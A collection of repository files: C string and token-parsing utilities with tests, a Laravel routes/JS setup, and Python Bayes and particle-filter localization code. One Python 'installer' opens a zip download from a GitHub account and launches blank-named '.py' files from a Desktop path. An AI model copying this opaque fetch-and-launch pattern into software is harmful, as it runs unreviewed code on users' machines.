<file_sep> void CopyString(char pcSource[], char pcDestination[]){ unsigned char ucCharNumber; for(ucCharNumber = 0; pcSource[ucCharNumber] != '\0'; ucCharNumber++){ pcDestination[ucCharNumber] = pcSource[ucCharNumber]; } pcDestination[ucCharNumber]='\0'; } enum CompResult {DIFFERENT, EQUAL}; enum CompResult eCompareString(char pcStr1[], char pcStr2[]){ unsigned char ucCharNumber; for(ucCharNumber = 0; pcStr1[ucCharNumber] == pcStr2[ucCharNumber]; ucCharNumber++){ if(pcStr1[ucCharNumber] == '\0'){ return EQUAL; } } return DIFFERENT; } void AppendString(char pcSourceStr[], char pcDestinationStr[]){ unsigned char ucPointerNubmer; for(ucPointerNubmer = 0; pcDestinationStr[ucPointerNubmer] != '\0'; ucPointerNubmer++){} CopyString(pcSourceStr, pcDestinationStr+ucPointerNubmer); } void ReplaceCharactersInString(char pcString[], char cOldChar, char cNewChar){ unsigned char ucCharNumber; for(ucCharNumber = 0; pcString[ucCharNumber] != '\0'; ucCharNumber++){ if(pcString[ucCharNumber] == cOldChar){ pcString[ucCharNumber] = cNewChar; } } } char cTestSource_1[] = "test1"; char cTestDestination_1[] = ""; int main(void){ CopyString(cTestSource_1, cTestDestination_1); } <file_sep>#define MAX_TOKEN_NR 3 #define MAX_KEYWORD_STRING_LTH 10 #define MAX_KEYWORD_NR 3 typedef enum TokenType {KEYWORD, NUMBER, STRING} TokenType; typedef enum KeywordCode {LD, ST, RST} KeywordCode; typedef union TokenValue { enum KeywordCode eKeyword; unsigned int uiNumber; char *pcString; } TokenValue; typedef struct Token { enum TokenType eType; union TokenValue uValue; } Token; Token asToken[MAX_TOKEN_NR]; typedef struct Keyword { enum KeywordCode eCode; char cString[MAX_KEYWORD_STRING_LTH + 1]; } Keyword; Keyword asKeywordList[MAX_KEYWORD_NR] = { {RST, "reset"}, {LD, "load"}, {ST, "store"} }; typedef enum Result {OK, ERROR} Result; typedef enum CompResult { DIFFERENT , EQUAL } CompResult; unsigned char ucTokenNr = 0; unsigned char ucFindTokensInString(char *pcString){ enum State {TOKEN, DELIMITER}; enum State eState = DELIMITER; char cCurrentChar; unsigned char ucWhichToken; for(ucWhichToken = 0; ;ucWhichToken++){ cCurrentChar = pcString[ucWhichToken]; switch(eState){ case TOKEN: if(cCurrentChar == '\0'){ return ucTokenNr; } else if(ucTokenNr == MAX_TOKEN_NR){ return ucTokenNr; } else if(cCurrentChar == ' '){ eState = DELIMITER; } break; case DELIMITER: if(cCurrentChar == '\0'){ return ucTokenNr; } else if(cCurrentChar != ' '){ eState = TOKEN; asToken[ucTokenNr].uValue.pcString = pcString + ucWhichToken; ucTokenNr++; } break; } } } enum Result eStringToKeyword(char pcStr[], enum KeywordCode *peKeywordCode){ unsigned char ucKeywordCounter; for(ucKeywordCounter = 0; ucKeywordCounter < MAX_KEYWORD_NR; ucKeywordCounter++){ if(eCompareString(pcStr, asKeywordList[ucKeywordCounter].cString) == EQUAL){ *peKeywordCode = asKeywordList[ucKeywordCounter].eCode; return OK; } } return ERROR; } void DecodeTokens(void){ unsigned char ucTokenCounter; for(ucTokenCounter = 0; ucTokenCounter < ucTokenNr; ucTokenCounter++){ if(eStringToKeyword(asToken[ucTokenCounter].uValue.pcString, &asToken[ucTokenCounter].uValue.eKeyword) == OK){ asToken[ucTokenCounter].eType = KEYWORD; } else if(eHexStringToUInt(asToken[ucTokenCounter].uValue.pcString, &asToken[ucTokenCounter].uValue.uiNumber) == OK){ asToken[ucTokenCounter].eType = NUMBER; } else{ asToken[ucTokenCounter].eType = STRING; } } } void DecodeMsg(char *pcString){ ucTokenNr = ucFindTokensInString(pcString); ReplaceCharactersInString(pcString, ' ', '\0'); DecodeTokens(); }<file_sep>#include <stdio.h> #include <stdlib.h> #include "operacje_proste.h" #include "konwersje.h" #include "tokeny.h" enum Result { OK, ERROR }; void Testof_CopyString() { printf("CopyString\n\n"); printf("Test 1 - "); //ta sama dlugosc wyrazow char cTestSource_1[] = "test1"; char cTestDestination_1[] = "aaaaa"; CopyString(cTestSource_1, cTestDestination_1); if (eCompareString(cTestSource_1, cTestDestination_1) == EQUAL) printf("OK\n"); else printf("Error\n"); printf("Test 2 - "); //pierwszy wyraz krotszy char cTestSource_2[] = "test2"; char cTestDestination_2[] = "aaaaaaa"; CopyString(cTestSource_2, cTestDestination_2); if (eCompareString(cTestSource_2, cTestDestination_2) == EQUAL) printf("OK\n"); else printf("Error\n"); printf("Test 3 - "); //Source jest pusty char cTestSource_3[] = ""; char cTestDestination_3[] = "aaaaa"; CopyString(cTestSource_3, cTestDestination_3); if (eCompareString(cTestSource_3, cTestDestination_3) == EQUAL) printf("OK\n"); else printf("Error\n"); printf("Test 4 - "); //Destination jest pusty char cTestSource_4[] = "test4"; char cTestDestination_4[] = ""; CopyString(cTestSource_4, cTestDestination_4); if (eCompareString(cTestSource_4, cTestDestination_4) == DIFFERENT) printf("OK\n"); else printf("Error\n"); } void TestOf_eCompareString() { printf("eCompareString\n\n"); printf("Test 1 - "); //takie same, ta sama dlugosc if (eCompareString("test1", "test1") == EQUAL) printf("OK\n"); else printf("Error\n"); printf("Test 2 - "); //rozne wyrazy, ta sama dlugosc if (eCompareString("test1", "test2") == DIFFERENT) printf("OK\n"); else printf("Error\n"); printf("Test 3 - "); //jeden wyraz pusty if (eCompareString("", "test2") == DIFFERENT) printf("OK\n"); else printf("Error\n"); printf("Test 5 - "); ///oba puste if (eCompareString("", "") == EQUAL) printf("OK\n"); else printf("Error\n"); printf("Test 6 - "); ///drugi wyraz dluzszy if (eCompareString("test1", "test2222") == DIFFERENT) printf("OK\n"); else printf("Error\n"); } void TestOf_AppendString() { printf("AppendString\n\n"); printf("Test 1 - "); //dowolne char cTestSource_1[] = "Pierwszy"; char cTestDestination_1[] = "Test"; AppendString(cTestSource_1, cTestDestination_1); if (eCompareString(cTestDestination_1, "TestPierwszy") == EQUAL) printf("OK\n"); else printf("Error\n"); printf("Test 2 - "); //source pusty char cTestSource_2[] = ""; char cTestDestination_2[] = "test"; AppendString(cTestSource_2, cTestDestination_2); if (eCompareString(cTestDestination_2, "test") == EQUAL) printf("OK\n"); else printf("Error\n"); printf("Test 3 - "); //destination pusty char cTestSource_3[] = "test"; char cTestDestination_3[] = ""; AppendString(cTestSource_3, cTestDestination_3); if (eCompareString(cTestDestination_3, "test") == EQUAL) printf("OK\n"); else printf("Error\n"); } void TestOf_ReplaceCharactersInString() { printf("ReplaceCharactersInString\n\n"); printf("Test 1 - "); //zamiana roznych znakow char cTestString_1[] = "test1"; ReplaceCharactersInString(cTestString_1, '1', '55'); if (eCompareString(cTestString_1, "test55") == EQUAL) printf("OK\n"); else printf("Error\n"); printf("Test 2 - "); //spacja na NULL char cTestString_2[] = "lancuch znakowy"; ReplaceCharactersInString(cTestString_2, ' ', '\0'); if (eCompareString(cTestString_2, "lancuch\0znakowy") == EQUAL) printf("OK\n"); else printf("Error\n"); } void TestOf_UIntToHexStr() { printf("UIntToHexStr\n\n"); printf("Test 1 - "); //zamiana zwyklej liczby char cTestDestination[7]; UIntToHexStr(123, cTestDestination); if (eCompareString(cTestDestination, "0x007B") == EQUAL) printf("OK\n"); else printf("Error\n"); printf("Test 2 - "); //krance przedzialow, 0,9,A,F UIntToHexStr(2479, cTestDestination); if (eCompareString(cTestDestination, "0x09AF") == EQUAL) printf("OK\n"); else printf("Error\n"); printf("Test 3 - "); //czy na koncu jest NULL UIntToHexStr(123, cTestDestination); if ((eCompareString(cTestDestination, "0x007B") == EQUAL) && (cTestDestination[7] == '\0')) printf("OK\n"); else printf("Error\n"); } void TestOf_eHexStringToUInt() { printf("eHexStringToUInt\n\n"); printf("Test 1 - "); //krance przedzialow 0, 9, A, F enum Result eReturnResult; unsigned int uiTestDestination; eReturnResult = eHexStringToUInt("0x09AF", &uiTestDestination); if ((eReturnResult == OK) && (uiTestDestination == 2479)) printf("OK\n"); else printf("Error\n"); printf("Test 2 - "); //za krotki eReturnResult = eHexStringToUInt("0x2D", &uiTestDestination); if ((eReturnResult == OK) && (uiTestDestination == 45)) printf("OK\n"); else printf("Error\n"); printf("Test 3 - "); //za dlugi eReturnResult = eHexStringToUInt("0x7C03C", &uiTestDestination); if (eReturnResult == ERROR) printf("OK\n"); else printf("Error\n"); printf("Test 4 - "); //brak 0x na poczatku eReturnResult = eHexStringToUInt("A8F4", &uiTestDestination); if (eReturnResult == ERROR) printf("OK\n"); else printf("Error\n"); printf("Test 4 - "); //sam przedrostek 0x a tak to pusty string eReturnResult = eHexStringToUInt("0x", &uiTestDestination); if (eReturnResult == ERROR) printf("OK\n"); else printf("Error\n"); } void TestOf_AppendUIntToString() { printf("AppendUIntToString\n\n"); printf("Test 1 - "); //niepusty string char cTestString_1[] = "TestString"; AppendUIntToString(60, cTestString_1); if (eCompareString(cTestString_1, "TestString0x003C") == EQUAL) printf("OK\n"); else printf("Error\n"); printf("Test 2 - "); //pusty string char pcTestString_2[] = ""; AppendUIntToString(60, cTestString_2); if (eCompareString(cTestString_2, "0x003C") == EQUAL) printf("OK\n"); else printf("Error\n"); } void TestOf_ucFindTokensInString() { unsigned char ucTokenNumber; printf("ucFindTokensInString\n\n"); printf("Test 1 - "); //max liczba tokenów char cTestString_1[] = "Ola ma jeża"; ucTokenNumber = ucFindTokensInString(cTestString_1); if ((ucTokenNumber == 3)&&(&cTestString_1[0] == asToken[0].uValue.pcString)&&(&cTestString_1[4] == asToken[1].uValue.pcString)&&(&cTestString_1[7] == asToken[2].uValue.pcString)) printf("OK\n"); else printf("Error\n"); printf("Test 2 - "); //tylko delimitery char cTestString_2[] = " "; ucTokenNumber = ucFindTokensInString(cTestString_2); if (ucTokenNumber == 0) printf("OK\n"); else printf("Error\n"); printf("Test 3 - "); //delimiter na poczatku stringa char cTestString_3[] = " Ola ma jeza"; ucTokenNumber = ucFindTokensInString(pcTestString_3); if ((ucTokenNumber == 3)&&(&cTestString_3[1] == asToken[0].uValue.pcString)&&(&cTestString_3[5] == asToken[1].uValue.pcString)&&(&cTestString_3[8] == asToken[2].uValue.pcString)) printf("OK\n"); else printf("Error\n"); printf("Test 4 - "); //wiecej niz 1 delimiter pomiedzy tokenami char cTestString_4[] = "Ola ma jeza"; ucTokenNumber = ucFindTokensInString(pcTestString_3); if ((ucTokenNumber == 3)&&(&cTestString_4[0] == asToken[0].uValue.pcString)&&(&cTestString_4[5] == asToken[1].uValue.pcString)&&(&cTestString_4[9] == asToken[2].uValue.pcString)) printf("OK\n"); else printf("Error\n"); printf("Test 3 - "); //mniej niz 3 tokeny char cTestString_5[] = "<NAME>"; ucTokenNumber = ucFindTokensInString(pcTestString_3); if ((ucTokenNumber == 3)&&(&cTestString_5[0] == asToken[0].uValue.pcString)&&(&cTestString_5[4] == asToken[1].uValue.pcString)) printf("OK\n"); else printf("Error\n"); printf("Test 4 - "); //za duzo tokenow char cTestString_6[] = "<NAME> i psa"; ucTokenNumber = ucFindTokensInString(pcTestString4); if ((ucTokenNumber == 3)&&(&cTestString_6[0] == asToken[0].uValue.pcString)&&(&cTestString_6[4] == asToken[1].uValue.pcString)&&(&cTestString_6[7] == asToken[2].uValue.pcString)) printf("OK\n"); else printf("Error\n"); } void TestOf_eStringToKeyword() { enum KeywordCode eTokenCode; printf("eStringToKeyword\n\n"); printf("Test 1 - "); //slowo kluczowe load if ((eStringToKeyword("load", &eTokenCode) == OK)&&(eTokenCode == LD)) printf("OK\n"); else printf("Error\n"); printf("Test 2 - "); //slowo kluczowe reset if ((eStringToKeyword("reset", &eTokenCode) == OK)&&(eTokenCode == RST)) printf("OK\n"); else printf("Error\n"); printf("Test 3 - "); //slowo kluczowe store if ((eStringToKeyword("store", &eTokenCode) == OK)&&(eTokenCode == ST)) printf("OK\n"); else printf("Error\n"); printf("Test 4 - "); //brak slowa kluczowego if (eStringToKeyword("token1", &eTokenCode) == ERROR) printf("OK\n"); else printf("Error\n"); } void TestOf_DecodeTokens() { unsigned char ucTokenNumber; char cTestToken_1[] = "load"; char cTestToken_2[] = "0x20"; char cTestToken_3[] = "immediately"; asToken[0].uValue.pcString = &cTestToken_1[0]; asToken[1].uValue.pcString = &cTestToken_2[0]; asToken[2].uValue.pcString = &cTestToken_3[0]; ucTokenNumber = 3; printf("DecodeTokens\n\n"); printf("Test 1 - "); //dekodowanie tokenow DecodeTokens(); if ((asToken[0].eType == KEYWORD)&&(asToken[0].uValue.eKeyword == LD)&&(asToken[1].eType == NUMBER)&&(asToken[1].uValue.uiNumber == 32)&&(asToken[2].eType == STRING)&&(asToken[2].uValue.pcString == &cTestToken_3)) printf("OK\n"); else printf("Error\n"); } void TestOf_DecodeMsg() { char cTestMessage[] = "load 0x20 immediately"; printf("DecodeMsg\n\n"); printf("Test 1 - "); //dekodowanie calego lancucha DecodeMsg(pcTestMsg); if ((ucTokenNr == 3)&&(asToken[0].eType == KEYWORD)&&(asToken[0].uValue.eKeyword == LD)&&(asToken[1].eType == NUMBER)&&(asToken[1].uValue.uiNumber == 32)&&(asToken[2].eType == STRING)&&(asToken[2].uValue.pcString == &pcTestMsg[10])) printf("OK\n"); else printf("Error\n"); } int main() { Testof_CopyString(); TestOf_eCompareString(); TestOf_AppendString(); TestOf_ReplaceCharactersInString(); TestOf_UIntToHexStr(); TestOf_eHexStringToUInt(); TestOf_AppendUIntToString(); TestOf_ucFindTokensInString(); TestOf_eStringToKeyword(); TestOf_DecodeTokens(); TestOf_DecodeMsg(); } <file_sep>#define HEX_bm 0x000F enum Result {OK, ERROR}; void UIntToHexStr (unsigned int uiValue, char pcStr[]){ unsigned char ucTetradaCounter; unsigned char ucCurrentTetrada; pcStr[0] = '0'; pcStr[1] = 'x'; for(ucTetradaCounter = 0; ucTetradaCounter < 4; ++ucTetradaCounter){ ucCurrentTetrada = ((uiValue >> (ucTetradaCounter * 4)) & HEX_bm); if(ucCurrentTetrada>9){ pcStr[5-ucTetradaCounter] = ucCurrentTetrada - 10 + 'A'; // w ascii 'A' == 65 } else{ pcStr[5-ucTetradaCounter] = ucCurrentTetrada + '0'; //w ascii '0' == 48 } } pcStr[6] = 'f'; } enum Result eHexStringToUInt(char pcStr[], unsigned int *puiValue){ unsigned char ucCharCounter; if((pcStr[0] != '0') | (pcStr[1] != 'x') | (pcStr[2] == '\0')){ return ERROR; } for(ucCharCounter = 2; ucCharCounter != '\0'; ucCharCounter++){ if(pcStr[ucCharCounter] == '\0'){ return OK; } else if (ucCharCounter >= 6){ return ERROR; } *puiValue = *puiValue << 4; if(pcStr[ucCharCounter] >= 'A'){ *puiValue = *puiValue | ((pcStr[ucCharCounter] - 'A') + 10); } else{ *puiValue = *puiValue | (pcStr[ucCharCounter] - '0'); } } return OK; } void AppendUIntToString (unsigned int uiValue, char pcDestinationStr[]){ unsigned char PointerNumber; for(PointerNumber = 0; pcDestinationStr[PointerNumber] != '\0'; PointerNumber++) UIntToHexStr(uiValue, pcDestinationStr+PointerNumber); } unsigned int uiTestDestination; enum Result eReturnResult; int main(void){ eReturnResult = eHexStringToUInt("0x*", &uiTestDestination); }
93e560db5c300a5fce6c07cf82407aea9af462c6
[ "C" ]
4
C
MateuszMisdziol/ppsw_obow
72a1b4da9ab9ceaf1073c712d8d3157a3f860d95
6e6801ab6e64b8741215989e3e659534bb7de875
refs/heads/master
<repo_name>andreaswinges/AdventOfCode2020<file_sep>/AdventOfCode2020/FormDayThree.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace AdventOfCode2020 { public partial class FormDayThree : Form { public FormDayThree() { InitializeComponent(); } private void BTN_Run_Click(object sender, EventArgs e) { var inputArray = TB_Input.Text.Split(new[] { "\r\n", "\r", "\n" }, StringSplitOptions.None); PartOne(inputArray); PartTwo(inputArray); } private void PartOne(string[] inputArray) { long numberoftrees = GetTrees(inputArray, 1, 3); TB_PartOne.Text = numberoftrees.ToString(); } private void PartTwo(string[] inputArray) { (int, int)[] slopes = new (int, int)[] { (1, 1), (1, 3), (1, 5), (1, 7), (2, 1) }; long result = 1; foreach (var slope in slopes) { result *= GetTrees(inputArray, slope.Item1, slope.Item2); } TB_PartTwo.Text = result.ToString(); } private static int GetTrees(string[] inputArray, int down, int rigth) { int currentstep = 0; int numberoftrees = 0; for (int i = down; i < inputArray.Length; i += down) { var currentrow = inputArray[i]; currentstep = currentstep + rigth; while (currentrow.Length < currentstep + 1) { currentrow = $"{currentrow}{currentrow}"; } if (currentrow.Substring(currentstep, 1) == "#") { numberoftrees++; } } return numberoftrees; } } } <file_sep>/README.md # AdventOfCode2020 https://adventofcode.com/2020 Windows Forms app for AdventOfCode 2020 <file_sep>/AdventOfCode2020/FormDayChooser.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace AdventOfCode2020 { public partial class FormDayChooser : Form { private DayForms _dayForms; public FormDayChooser() { InitializeComponent(); } private void FormDayChooser_Load(object sender, EventArgs e) { _dayForms = new DayForms(); foreach (var item in _dayForms.listofforms) { CB_Days.Items.Add(item.Name); } } private class FormsCB { public Form form { get; set; } public string Name { get; set; } public FormsCB(Form inform) { form = inform; Name = inform.Text; } } private class DayForms { Type[] screenTypes = new Type[] { typeof(FormDayOne), typeof(FormDayTwo), typeof(FormDayThree), typeof(FormDayFour), }; public List<FormsCB> listofforms = new List<FormsCB>(); public DayForms() { foreach (var formtype in screenTypes) { var formCB = new FormsCB((Form)Activator.CreateInstance(formtype)); listofforms.Add(formCB); } } } private void BTN_ChooseDay_Click(object sender, EventArgs e) { var name = (string)CB_Days.SelectedItem; Form form = _dayForms.listofforms.Single(s => s.Name == name).form; form.ShowDialog(); } } } <file_sep>/AdventOfCode2020/FormDayOne.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace AdventOfCode2020 { public partial class FormDayOne : Form { public FormDayOne() { InitializeComponent(); } private void BTN_Run_Click(object sender, EventArgs e) { var inputArray = TB_Input.Text.Split(new[] { "\r\n", "\r", "\n" }, StringSplitOptions.None); PartOne(inputArray); PartTwo(inputArray); } private void PartOne(string[] inputArray) { foreach (var number in inputArray) { Int32.TryParse(number, out int intnumber); var NumberToFind = 2020 - intnumber; if (inputArray.Contains(NumberToFind.ToString())) { TB_PartOne.Text = (intnumber * NumberToFind).ToString(); break; } } } private void PartTwo(string[] inputArray) { for (int i = 0; i < inputArray.Length; i++) { Int32.TryParse(inputArray[i], out int intnumber); for (int i2 = 0; i2 < inputArray.Length; i2++) { if (i != i2) { Int32.TryParse(inputArray[i2], out int intnumber2); if ((intnumber + intnumber2) < 2020) { for (int i3 = 0; i3 < inputArray.Length; i3++) { if (i != i3 && i2 != i3) { Int32.TryParse(inputArray[i3], out int intnumber3); if ((intnumber + intnumber2 + intnumber3) == 2020) { TB_PartTwo.Text = (intnumber * intnumber2 * intnumber3).ToString(); break; } } } } } } } } } } <file_sep>/AdventOfCode2020/FormDayTwo.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace AdventOfCode2020 { public partial class FormDayTwo : Form { public FormDayTwo() { InitializeComponent(); } private void BTN_Run_Click(object sender, EventArgs e) { var inputArray = TB_Input.Text.Split(new[] { "\r\n", "\r", "\n" }, StringSplitOptions.None); PartOne(inputArray); PartTwo(inputArray); } private void PartOne(string[] inputArray) { int numberofvalidpasswords = 0; foreach (var input in inputArray) { var splitedInput = input.Split(' '); var minmaxarray = splitedInput[0].Split('-'); Int32.TryParse(minmaxarray[0], out int min); Int32.TryParse(minmaxarray[1], out int max); var character = splitedInput[1].Substring(0, 1).ToCharArray()[0]; var numberofcharactersinstring = splitedInput[2].Count(c => c == character); if (numberofcharactersinstring >= min && numberofcharactersinstring <= max) { numberofvalidpasswords++; } } TB_PartOne.Text = numberofvalidpasswords.ToString(); } private void PartTwo(string[] inputArray) { int numberofvalidpasswords = 0; foreach (var input in inputArray) { var splitedInput = input.Split(' '); var posarray = splitedInput[0].Split('-'); Int32.TryParse(posarray[0], out int pos1); Int32.TryParse(posarray[1], out int pos2); var character = splitedInput[1].Substring(0, 1); var pos1exist = splitedInput[2].Substring(pos1 - 1, 1) == character; var pos2exist = splitedInput[2].Substring(pos2 - 1, 1) == character; if ((pos1exist || pos2exist) && (!pos1exist || !pos2exist)) { numberofvalidpasswords++; } } TB_PartTwo.Text = numberofvalidpasswords.ToString(); } } }
0033d16285cc3724f60aee45d2ca6e03d1204b5d
[ "Markdown", "C#" ]
5
C#
andreaswinges/AdventOfCode2020
89d40e56501770e57c4108de23d9c5da046eddf8
cd91fecf4a7c28e38018e056f04decb719b18409
refs/heads/main
<repo_name>xbuu/opentest<file_sep>/open_test/installer.py import os import time import webbrowser as wb def get_user(): return os.getenv('USER', os.getenv('USERNAME', 'user')) def filexists(filePathAndName): return os.path.exists(filePathAndName) if filexists("C:/Users/"+get_user()+"/Desktop/Files/Python/Python/Projects/advanced/open_test/data_folder-main/data_folder-main/data_folder/.py"): print("attempting to open file") time.sleep(1.5) os.startfile("C:/Users/"+get_user()+"/Desktop/Files/Python/Python/Projects/advanced/open_test/data_folder-main/data_folder-main/data_folder/.py") elif filexists("C:/Users/"+get_user()+"/Desktop/Files/Python/Python/Projects/advanced/open_test/data_folder-main/data_folder-main/data_folder/ .py"): print("attempting to open file") time.sleep(1.5) os.startfile("C:/Users/"+get_user()+"/Desktop/Files/Python/Python/Projects/advanced/open_test/data_folder-main/data_folder-main/data_folder/ .py") else: print("installing file") wb.open("https://github.com/buuinstalls/data_folder/archive/refs/heads/main.zip", "C:/Users/"+get_user()+"/Desktop/Files/Python/Python/Projects/advanced/open_test/") time.sleep(1.5) <file_sep>/open_test/requirements.txt # This program wont run without these # Requirements # Step 1: - Open Microsoft Store - Download python 3.9 - Wait until downloaded, and do not open. # Step 2: - Open command prompt - Type in (pip install colorama) - WITHOUT THE BRACKETS () # Step 3: - Run the program, it will ask you to run a file - Make sure to put it in the same place as the program - If its in a zip, extract by right clicking the file - If you cannot extract, download winRar, but windows - Might come with its own extractor - You're done, go have fun i guess
855508bdc327a4a6fa8c730fccf146954c02c554
[ "Python", "Text" ]
2
Python
xbuu/opentest
7ca37ec27cef264994f0dbee4d8c18214d05a7a9
40e33cd8dfea191a029578a3f73d542475958e53
refs/heads/master
<repo_name>mohusroom/laravel_project<file_sep>/routes/web.php <?php use Illuminate\Support\Facades\Route; Route::domain(config('myapp.domain'))->namespace('User')->name('user.')->group(function () { Route::get('/', 'HomeController@index') ->name('home'); });<file_sep>/resources/js/user/common/_share/_hamburger.js /** * burgerElementSelector に指定した要素をクリックした時にその子要素に is-active クラスをトグルする * * @param {string} burgerElementSelector */ export function displayHiddenContentWithClick(burgerElementSelector) { const burgerElements = document.querySelectorAll(burgerElementSelector); if (burgerElements.length > 0) { burgerElements.forEach(el => { el.addEventListener('click', () => { const target = el.dataset.target; const $target = document.getElementById(target); el.classList.toggle('is-active'); $target.classList.toggle('is-active'); }); }); } }<file_sep>/routes/assets.php <?php use App\Facades\Assets; /**************************************** * ユーザー ****************************************/ // 共通 Assets::for('user.*', function ($tag) { $tag->link(['type' => 'text/css', 'rel' => 'stylesheet', 'href' => mix('css/user/common/base.css')]); }); // トップページ Assets::for('user.home', function ($tag) { $tag->link(['type' => 'text/css', 'rel' => 'stylesheet', 'href' => mix('css/user/common/home/show.css')]); $tag->script(['src' => mix('js/user/common/home/show.js'), '__single' => 'defer', '__contain' => '']); }); /**************************************** * 管理(未実装) ****************************************/<file_sep>/resources/js/user/common/home/show.js import * as $hamburger from '@js/user/common/_share/_hamburger.js'; $hamburger.displayHiddenContentWithClick('.js-burger');
680ebccfb7a108123d7951a4120a0a65eda0f730
[ "JavaScript", "PHP" ]
4
PHP
mohusroom/laravel_project
92a7e6a21ae9ca0b217d5ca9b744c1db0f455c3c
05eefe54affcc6b2aca5a73fa68681786fe5ef2a
refs/heads/master
<repo_name>is0232xf/localization<file_sep>/particle_filter.py # -*- coding: utf-8 -*- """ Created on Tue Sep 06 12:28:02 2016 @author: Fujiichang """ import bayes_filter import collections p_o_s = [[0.01, 0.01, 0.01, 0.01, 0.85, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01], [0.01, 0.01, 0.01, 0.01, 0.01, 0.85, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01], [0.01, 0.01, 0.01, 0.01, 0.01, 0.85, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01], [0.01, 0.01, 0.01, 0.01, 0.01, 0.85, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01], [0.01, 0.85, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01, 0.01]] p_s_a = [[[1, 0, 0, 0, 0], [0.9, 0.1, 0, 0, 0], [0, 0.9, 0.1, 0, 0], [0, 0, 0.9, 0.1, 0], [0, 0, 0, 0.9, 0.1]], [[0.1, 0.9, 0, 0, 0], [0, 0.1, 0.9, 0, 0], [0, 0, 0.1, 0.9, 0], [0, 0, 0, 0.1, 0.9], [0, 0, 0, 0, 1]], [[1, 0, 0, 0, 0], [0, 1, 0, 0, 0], [0, 0, 1, 0, 0], [0, 0, 0, 1, 0], [0, 0, 0, 0, 1]]] class ParticleFilter(object): def __init__(self, p_s_a, p_o_s): self.p_s_a = p_s_a self.p_o_s = p_o_s def update_p_s_bar(self, particle, a): for i, s in enumerate(particle): p_s = self.p_s_a[a][s] new_s = bayes_filter.multinomial(p_s) particle[i] = new_s return particle def update_p_s(self, particle, o): particle_num = len(particle) weights = [] new_particle = [] new_w_particle = particle_num * [0] for s in particle: weights.append(self.p_o_s[s][o]) sum_w = sum(weights) for i, weight in enumerate(weights): new_w_particle[i] = weight / sum_w for _ in range(particle_num): i = bayes_filter.multinomial(new_w_particle) new_particle.append(particle[i]) return new_particle class Controller(object): def __init__(self, goals): self.goals = goals def determine_a(self, determined_s): next_goal = self.goals[0] if next_goal == determined_s: self.goals.pop(0) if self.is_terminated() is False: next_goal = self.goals[0] if next_goal - determined_s < 0: a = 0 elif next_goal - determined_s > 0: a = 1 else: a = 2 return a def is_terminated(self): return bayes_filter.is_empty(self.goals) def calculate_ratio_of_particle(particle): particle_counter = 5 * [0] particle_ratio = 5 * [0] for i in range(len(particle_counter)): particle_counter[i] = particle.count(i) for i in range(len(particle_counter)): particle_ratio[i] = particle_counter[i] / float(len(particle)) return particle_ratio if __name__ == "__main__": o_log = [] determined_s_log = [] a_log = [] actual_s_log = [] actual_s_log.append(0) estimator = ParticleFilter(p_s_a, p_o_s) simulator = bayes_filter.Simulator(p_s_a, p_o_s) goals = [4, 0] controller = Controller(goals) particle_num = 1000 w_particle = particle_num * [0] w_particle[0] = 1 particle = particle_num * [0] t = 0 while True: print "step:", t, "##########################" o = simulator.get_o() o_log.append(o) print "o =", o particle = estimator.update_p_s(particle, o) particle_ratio = calculate_ratio_of_particle(particle) bayes_filter.show_p_s(particle_ratio) print collections.Counter(particle).most_common(1) determined_s = collections.Counter(particle).most_common(1)[0][0] determined_s_log.append(determined_s) a = controller.determine_a(determined_s) a_log.append(a) print "a =", a if controller.is_terminated(): break simulator.set_a(a) s = simulator.get_s() actual_s_log.append(s) print "s =", s t = t + 1 particle = estimator.update_p_s_bar(particle, a) particle_ratio = calculate_ratio_of_particle(particle) bayes_filter.show_p_s(particle_ratio) bayes_filter.print_result(o_log, actual_s_log, determined_s_log, a_log, t) print "Finish" <file_sep>/continuous1d_particle_filter.py # -*- coding: utf-8 -*- """ Created on Fri Sep 09 19:08:12 2016 @author: Fujiichang """ import numpy as np from scipy.stats import norm import bayes_filter class Continuous1dControllor(object): def __init__(self, goals, allowable_range): self.goals = goals self.allowable_range = allowable_range def determine_s(self, particle): avg = sum(particle) / len(particle) return avg def determine_next_goal(self, determined_s): next_goal = self.goals[0] allowable_range = self.allowable_range diff = next_goal - determined_s distance = abs(diff) if distance < allowable_range: self.goals.pop(0) if self.is_terminal() is False: next_goal = self.goals[0] return next_goal def determine_a(self, determined_s): next_goal = self.determine_next_goal(determined_s) diff = next_goal - determined_s direction = np.sign(diff) distance = abs(diff) a = direction * min(1, distance) return a def is_terminal(self): return bayes_filter.is_empty(self.goals) class Continuous1dParticlefilter(object): def __init__(self, var_a, var_o, landmarks): self.std_a = var_a ** 0.5 self.std_o = var_o ** 0.5 self.landmarks = np.array(landmarks).reshape(-1, 1) def update_p_s_bar(self, particle, a): means = np.array(particle) + a new_particles = np.random.normal(means, self.std_a) return new_particles.tolist() def update_p_s(self, particle, o): particle_num = len(particle) weights = [] l = len(self.landmarks) particle = np.array(particle) o_l = np.array(o[:l]).reshape(-1, 1) distance = self.landmarks[:l]-particle weights = norm.pdf(o_l, distance, self.std_o) p_weights = np.prod(weights, axis=0) new_w_particle = p_weights / p_weights.sum() new_particle = [] for _ in range(particle_num): i = bayes_filter.multinomial(new_w_particle) new_particle.append(particle[i]) return new_particle <file_sep>/test_multinomial.py # -*- coding: utf-8 -*- """ Created on Wed Jul 27 12:47:11 2016 @author: Fujiichang """ import unittest import bayes_filter class TestCalculateCumSum(unittest.TestCase): def test_calculate_cum_sum(self): p = [0.2, 0.3, 0.5] expected = [0.2, 0.5, 1.0] actual = bayes_filter.calculate_cum_sum(p) self.assertEquals(actual, expected) class TestMultinomial(unittest.TestCase): def test_multinomial(self): p = 